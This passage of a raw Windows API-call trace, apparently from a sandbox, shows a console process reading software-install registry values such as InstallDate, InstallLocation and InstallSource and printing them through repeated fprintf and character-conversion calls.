_File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.197] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.197] __iob_func () returned 0x7fefd702a80 [0150.197] _fileno (_File=0x7fefd702ab0) returned 1 [0150.197] _errno () returned 0x204bb0 [0150.197] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.197] _errno () returned 0x204bb0 [0150.197] GetFileType (hFile=0x50) returned 0x1 [0150.197] lstrlenW (lpString=" ") returned 4 [0150.197] GetConsoleOutputCP () returned 0x1b5 [0150.197] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.198] GetConsoleOutputCP () returned 0x1b5 [0150.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.198] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.198] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.198] __iob_func () returned 0x7fefd702a80 [0150.198] _fileno (_File=0x7fefd702ab0) returned 1 [0150.198] _errno () returned 0x204bb0 [0150.198] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.198] _errno () returned 0x204bb0 [0150.198] GetFileType (hFile=0x50) returned 0x1 [0150.198] lstrlenW (lpString="") returned 0 [0150.198] __iob_func () returned 0x7fefd702a80 [0150.198] _fileno (_File=0x7fefd702ab0) returned 1 [0150.198] _errno () returned 0x204bb0 [0150.198] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.198] _errno () returned 0x204bb0 [0150.198] GetFileType (hFile=0x50) returned 0x1 [0150.198] lstrlenW (lpString="\n") returned 1 [0150.198] GetConsoleOutputCP () returned 0x1b5 [0150.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.198] GetConsoleOutputCP () returned 0x1b5 [0150.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.198] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.198] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.199] GetProcessHeap () returned 0x3c0000 [0150.199] GetProcessHeap () returned 0x3c0000 [0150.199] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.199] GetProcessHeap () returned 0x3c0000 [0150.199] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.199] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.199] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.199] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0150.199] GetProcessHeap () returned 0x3c0000 [0150.199] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0150.199] GetProcessHeap () returned 0x3c0000 [0150.199] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.199] GetProcessHeap () returned 0x3c0000 [0150.199] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0150.199] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170630", pcbData=0x29f780*=0x12) returned 0x0 [0150.199] __iob_func () returned 0x7fefd702a80 [0150.199] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.199] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.199] _fileno (_File=0x7fefd702ab0) returned 1 [0150.199] _errno () returned 0x204bb0 [0150.199] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.199] _errno () returned 0x204bb0 [0150.199] GetFileType (hFile=0x50) returned 0x1 [0150.199] lstrlenW (lpString=" ") returned 4 [0150.199] GetConsoleOutputCP () returned 0x1b5 [0150.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.199] GetConsoleOutputCP () returned 0x1b5 [0150.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.200] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.200] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.200] lstrlenW (lpString="InstallDate") returned 11 [0150.200] __iob_func () returned 0x7fefd702a80 [0150.200] _fileno (_File=0x7fefd702ab0) returned 1 [0150.200] _errno () returned 0x204bb0 [0150.200] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.200] _errno () returned 0x204bb0 [0150.200] GetFileType (hFile=0x50) returned 0x1 [0150.200] lstrlenW (lpString="InstallDate") returned 11 [0150.200] GetConsoleOutputCP () returned 0x1b5 [0150.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.200] GetConsoleOutputCP () returned 0x1b5 [0150.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0150.200] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.200] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.200] __iob_func () returned 0x7fefd702a80 [0150.200] _fileno (_File=0x7fefd702ab0) returned 1 [0150.200] _errno () returned 0x204bb0 [0150.200] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.200] _errno () returned 0x204bb0 [0150.200] GetFileType (hFile=0x50) returned 0x1 [0150.200] lstrlenW (lpString=" ") returned 4 [0150.200] GetConsoleOutputCP () returned 0x1b5 [0150.201] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.201] GetConsoleOutputCP () returned 0x1b5 [0150.201] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.201] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.201] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.201] __iob_func () returned 0x7fefd702a80 [0150.201] _fileno (_File=0x7fefd702ab0) returned 1 [0150.201] _errno () returned 0x204bb0 [0150.201] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.201] _errno () returned 0x204bb0 [0150.201] GetFileType (hFile=0x50) returned 0x1 [0150.201] lstrlenW (lpString="REG_SZ") returned 6 [0150.201] GetConsoleOutputCP () returned 0x1b5 [0150.201] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.201] GetConsoleOutputCP () returned 0x1b5 [0150.201] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.201] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.201] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.201] __iob_func () returned 0x7fefd702a80 [0150.202] _fileno (_File=0x7fefd702ab0) returned 1 [0150.202] _errno () returned 0x204bb0 [0150.202] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.202] _errno () returned 0x204bb0 [0150.202] GetFileType (hFile=0x50) returned 0x1 [0150.202] lstrlenW (lpString=" ") returned 4 [0150.202] GetConsoleOutputCP () returned 0x1b5 [0150.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.202] GetConsoleOutputCP () returned 0x1b5 [0150.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.202] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.202] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.202] __iob_func () returned 0x7fefd702a80 [0150.202] _fileno (_File=0x7fefd702ab0) returned 1 [0150.202] _errno () returned 0x204bb0 [0150.202] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.202] _errno () returned 0x204bb0 [0150.202] GetFileType (hFile=0x50) returned 0x1 [0150.202] lstrlenW (lpString="20170630") returned 8 [0150.202] GetConsoleOutputCP () returned 0x1b5 [0150.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.202] GetConsoleOutputCP () returned 0x1b5 [0150.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0150.203] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.203] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.203] __iob_func () returned 0x7fefd702a80 [0150.203] _fileno (_File=0x7fefd702ab0) returned 1 [0150.203] _errno () returned 0x204bb0 [0150.203] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.203] _errno () returned 0x204bb0 [0150.203] GetFileType (hFile=0x50) returned 0x1 [0150.203] lstrlenW (lpString="\n") returned 1 [0150.203] GetConsoleOutputCP () returned 0x1b5 [0150.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.203] GetConsoleOutputCP () returned 0x1b5 [0150.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.203] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.203] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.203] GetProcessHeap () returned 0x3c0000 [0150.203] GetProcessHeap () returned 0x3c0000 [0150.203] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.203] GetProcessHeap () returned 0x3c0000 [0150.203] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0150.203] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0150.203] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.204] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.204] GetProcessHeap () returned 0x3c0000 [0150.204] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.204] GetProcessHeap () returned 0x3c0000 [0150.204] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.204] GetProcessHeap () returned 0x3c0000 [0150.204] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.204] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.204] __iob_func () returned 0x7fefd702a80 [0150.204] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.204] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.204] _fileno (_File=0x7fefd702ab0) returned 1 [0150.204] _errno () returned 0x204bb0 [0150.204] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.204] _errno () returned 0x204bb0 [0150.204] GetFileType (hFile=0x50) returned 0x1 [0150.204] lstrlenW (lpString=" ") returned 4 [0150.204] GetConsoleOutputCP () returned 0x1b5 [0150.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.204] GetConsoleOutputCP () returned 0x1b5 [0150.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.204] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.204] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.205] lstrlenW (lpString="InstallLocation") returned 15 [0150.205] __iob_func () returned 0x7fefd702a80 [0150.205] _fileno (_File=0x7fefd702ab0) returned 1 [0150.205] _errno () returned 0x204bb0 [0150.205] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.205] _errno () returned 0x204bb0 [0150.205] GetFileType (hFile=0x50) returned 0x1 [0150.205] lstrlenW (lpString="InstallLocation") returned 15 [0150.205] GetConsoleOutputCP () returned 0x1b5 [0150.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.205] GetConsoleOutputCP () returned 0x1b5 [0150.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0150.205] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.205] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.205] __iob_func () returned 0x7fefd702a80 [0150.205] _fileno (_File=0x7fefd702ab0) returned 1 [0150.205] _errno () returned 0x204bb0 [0150.205] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.205] _errno () returned 0x204bb0 [0150.205] GetFileType (hFile=0x50) returned 0x1 [0150.205] lstrlenW (lpString=" ") returned 4 [0150.205] GetConsoleOutputCP () returned 0x1b5 [0150.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.206] GetConsoleOutputCP () returned 0x1b5 [0150.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.206] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.206] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.206] __iob_func () returned 0x7fefd702a80 [0150.206] _fileno (_File=0x7fefd702ab0) returned 1 [0150.206] _errno () returned 0x204bb0 [0150.206] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.206] _errno () returned 0x204bb0 [0150.206] GetFileType (hFile=0x50) returned 0x1 [0150.206] lstrlenW (lpString="REG_SZ") returned 6 [0150.206] GetConsoleOutputCP () returned 0x1b5 [0150.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.206] GetConsoleOutputCP () returned 0x1b5 [0150.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.206] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.206] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.206] __iob_func () returned 0x7fefd702a80 [0150.206] _fileno (_File=0x7fefd702ab0) returned 1 [0150.206] _errno () returned 0x204bb0 [0150.206] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.206] _errno () returned 0x204bb0 [0150.206] GetFileType (hFile=0x50) returned 0x1 [0150.207] lstrlenW (lpString=" ") returned 4 [0150.207] GetConsoleOutputCP () returned 0x1b5 [0150.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.207] GetConsoleOutputCP () returned 0x1b5 [0150.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.207] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.207] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.207] __iob_func () returned 0x7fefd702a80 [0150.207] _fileno (_File=0x7fefd702ab0) returned 1 [0150.207] _errno () returned 0x204bb0 [0150.207] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.207] _errno () returned 0x204bb0 [0150.207] GetFileType (hFile=0x50) returned 0x1 [0150.207] lstrlenW (lpString="") returned 0 [0150.207] __iob_func () returned 0x7fefd702a80 [0150.207] _fileno (_File=0x7fefd702ab0) returned 1 [0150.207] _errno () returned 0x204bb0 [0150.207] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.207] _errno () returned 0x204bb0 [0150.207] GetFileType (hFile=0x50) returned 0x1 [0150.207] lstrlenW (lpString="\n") returned 1 [0150.207] GetConsoleOutputCP () returned 0x1b5 [0150.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.208] GetConsoleOutputCP () returned 0x1b5 [0150.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.208] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.208] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.208] GetProcessHeap () returned 0x3c0000 [0150.208] GetProcessHeap () returned 0x3c0000 [0150.208] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.208] GetProcessHeap () returned 0x3c0000 [0150.208] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.208] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.208] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.208] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x34) returned 0x0 [0150.208] GetProcessHeap () returned 0x3c0000 [0150.208] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x36) returned 0x3d78d0 [0150.208] GetProcessHeap () returned 0x3c0000 [0150.208] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.208] GetProcessHeap () returned 0x3c0000 [0150.208] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x36 [0150.208] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x34 | out: pdwType=0x29f700*=0x1, pvData="c:\\d1d7baa2967008fb8610\\", pcbData=0x29f780*=0x32) returned 0x0 [0150.208] __iob_func () returned 0x7fefd702a80 [0150.208] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.208] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.208] _fileno (_File=0x7fefd702ab0) returned 1 [0150.208] _errno () returned 0x204bb0 [0150.208] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.208] _errno () returned 0x204bb0 [0150.208] GetFileType (hFile=0x50) returned 0x1 [0150.208] lstrlenW (lpString=" ") returned 4 [0150.209] GetConsoleOutputCP () returned 0x1b5 [0150.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.209] GetConsoleOutputCP () returned 0x1b5 [0150.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.209] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.209] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.209] lstrlenW (lpString="InstallSource") returned 13 [0150.209] __iob_func () returned 0x7fefd702a80 [0150.209] _fileno (_File=0x7fefd702ab0) returned 1 [0150.209] _errno () returned 0x204bb0 [0150.209] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.209] _errno () returned 0x204bb0 [0150.209] GetFileType (hFile=0x50) returned 0x1 [0150.209] lstrlenW (lpString="InstallSource") returned 13 [0150.209] GetConsoleOutputCP () returned 0x1b5 [0150.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.209] GetConsoleOutputCP () returned 0x1b5 [0150.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0150.209] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.209] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.210] __iob_func () returned 0x7fefd702a80 [0150.210] _fileno (_File=0x7fefd702ab0) returned 1 [0150.210] _errno () returned 0x204bb0 [0150.210] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.210] _errno () returned 0x204bb0 [0150.210] GetFileType (hFile=0x50) returned 0x1 [0150.210] lstrlenW (lpString=" ") returned 4 [0150.210] GetConsoleOutputCP () returned 0x1b5 [0150.210] WideCharToMultiByte (in: 